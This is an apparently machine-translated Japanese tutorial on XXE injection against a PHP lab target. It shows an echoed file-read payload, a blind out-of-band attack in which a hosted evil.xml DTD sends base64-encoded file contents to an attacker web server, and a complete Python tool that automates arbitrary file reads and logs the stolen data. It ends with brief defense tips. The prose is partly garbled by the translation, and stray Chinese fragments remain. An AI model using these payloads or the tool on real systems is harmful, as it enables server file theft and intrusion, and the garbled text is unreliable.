原理
外部エンティティの参照が許可されている場合、外部エンティティインジェクション(XXE)の脆弱性が発生します。悪意のあるコンテンツを構築することにより、任意のファイルの読み取り、システムコマンドの実行、イントラネットポートの検出、イントラネットWebサイトの攻撃などの損害につながる可能性があります。XXEの脆弱性は、エコーのあるXXEとエコーのないXXEの2つのタイプに分けられます。
脆弱性表示
エコーされたXXEがあります。
これでhacker.txt
、テスト用にdドライブに新しいファイルを作成しました。まず、burpsuiteを使用してパケットをキャプチャします。ここでの射撃場では、これを使用しphp_xxe
ます。
パケットのキャプチャ時にデータがXML形式で送信されたことがわかったため、これはXMLインジェクションのコードです。予備判断にはXML外部エンティティインジェクションの脆弱性がある可能性があります。
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///d:/hacker.txt">
]>
注射は成功です!!!
エコーなしのXXEのデモンストレーション
最初にphp_xxe
ディレクトリdoLogin.php
内のファイルを開き、コメントアウトしてecho $result
追加します。error_reporting(0)
エコー情報が消えていることがわかります。
エコーなしのXXEの場合、帯域外(OOB)チャネルを構築する必要があります。データ。アイデアは次のとおりです。
- 攻撃者は最初にpayload1をWebサーバーに送信します
- Payload1はWebサーバーをトリガーし、WebサーバーはVPSから悪意のあるDTDを取得し、payload2を実行します。
- payload2により、Webサーバーは結果をパラメーターとして使用してVPS上のHTTPサービスにアクセスします。
- 攻撃者は、VPSのHTTPアクセスレコードを介して結果を取得しました
VPS(Virtual Private Server)テクノロジー、サーバーを複数の仮想プライベートサーバーに分割する高品質のサービス。各vpsには、独立したパブリックネットワークIPアドレス、独立したオペレーティングシステム、独立した大容量スペース、独立したメモリ、独立したCPUリソース、独立した実行プログラム、独立したシステム構成などを割り当てることができます。
DTD(文書型定義)の役割は、XML文書の正当な構成要素を定義することです。一連の法的要素を使用して、ドキュメント構造を定義します。DTDは、正当なXMLドキュメントビルディングブロックを定義できます。一連の法的要素を使用して、ドキュメントの構造を定義します。DTDは、XMLドキュメントでインラインで宣言することも、外部参照として使用することもできます。
攻撃プロセス
最初にKaliのapache2サービスを開始してから、/var/www/html
このディレクトリにevil.xml
ファイルを作成しましょう。ファイルの内容は次のとおりです。
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.75.159/?content=%file;'>"> %payload;
次に、burpsuiteでこれらのコンテンツを変更します
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=d:/hacker.txt">
<!ENTITY % dtd SYSTEM "http://192.168.75.159/evil.xml">
%dtd;
%send;
]>
kaliのログ情報は、ファイルのコンテンツをbase64でエンコードし、コンテンツの後にコンテンツをデコーダーに入れて、ファイルのコンテンツをデコードします。apache2を起動するコマンドとログ情報を表示するコマンドは次のとおりです。
service apache2 start
tail -f /var/log/apache2/access.log
コードの自動化
スクリプト関連の情報とモジュールを書く
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys
攻撃ペイロードの生成関数を記述します。これにより、指定されたIPアドレスとポートに従って悪意のあるDTDを含む対応するXMLファイルを生成できます。
# 创建攻击代码文件
def ExportPayload(lip,lport):
file = open('evil.xml','w')
file.write("<!ENTITY % payload \"<!ENTITY % send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(lip, lport))
file.close()
print("[*] Payload文件创建成功!")
HTTPサービス関数を記述し、http.serverモジュールを介してHTTPサービスを実装して、ターゲットサーバーから返されるデータを監視します。
# 开启HTTP服务,接收数据
def StartHTTP(lip,lport):
# HTTP监听的IP地址和端口
serverAddr = (lip, lport)
httpd = HTTPServer(serverAddr, MyHandler)
print("[*] 正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:{1}\n================\n".format(lip, lport))
httpd.serve_forever()
ターゲットサーバーに攻撃データを送信するPOST送信関数を作成します
#通过POST发送攻击数据
def SendData(lip, lport, url):
# 需要读取的文件的路径(默认值)
filePath = "d:\\hacker.txt"
while True:
# 对用户的输入的文件路径斜杠的替换
filePath = filePath.replace('\\', "/")
data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(filePath, lip, lport)
requests.post(url, data=data)
# 继续接收用户的输入,读取指定文件
filePath = input("Input filePath:")
メッセージ処理クラスを定義します。このクラスはSimpleHTTPRequestHandlerを継承します。同時に、アクセス情報を出力しながらアクセス情報をファイルに記録できるように、元のログ情報機能を書き換える必要があります。
# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
# 终端输出HTTP访问信息
sys.stderr.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format%args))
# 保存信息到文件
textFile = open("result.txt", "a")
textFile.write("%s - - [%s] %s\n" %
(self.client_address[0],
self.log_date_time_string(),
format%args))
textFile.close()
関連する変数と関数呼び出しの定義が含まれるmain関数を記述します
if __name__ == '__main__':
#本机IP,IP为kali虚拟机的IP
lip = "192.168.75.159"
#本机HTTP监听端口,可以使用netstat命令查看apache2监听的端口是多少
lport = 80
#目标网站提交表单的URL,IP为物理机的IP
url = "http://192.168.101.3/xxe-lab/php_xxe/doLogin.php"
# 创建payload文件
ExportPayload(lip, lport)
# HTTP服务线程
threadHTTP = threading.Thread(target=StartHTTP,args=(lip, lport))
threadHTTP.start()
# 发送POST数据线程
threadPOST = threading.Thread(target=SendData,args=(lip, lport, url))
threadPOST.start()
実行効果を下図に示します。
コンテンツの後のコンテンツをbase64にデコードしてファイルのコンテンツを確認し
、アクセスレコードをresult.txtファイルに保存します。
防衛戦略
XXEの害は、サーバーを攻撃するだけでなく、イントラネットポートを検出し、XXEを介してイントラネットWebサイトを攻撃することです。そこ默认禁止外部实体的解析
への道の防衛と对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY 或者 SYSTEM 和 PUBLIC等
。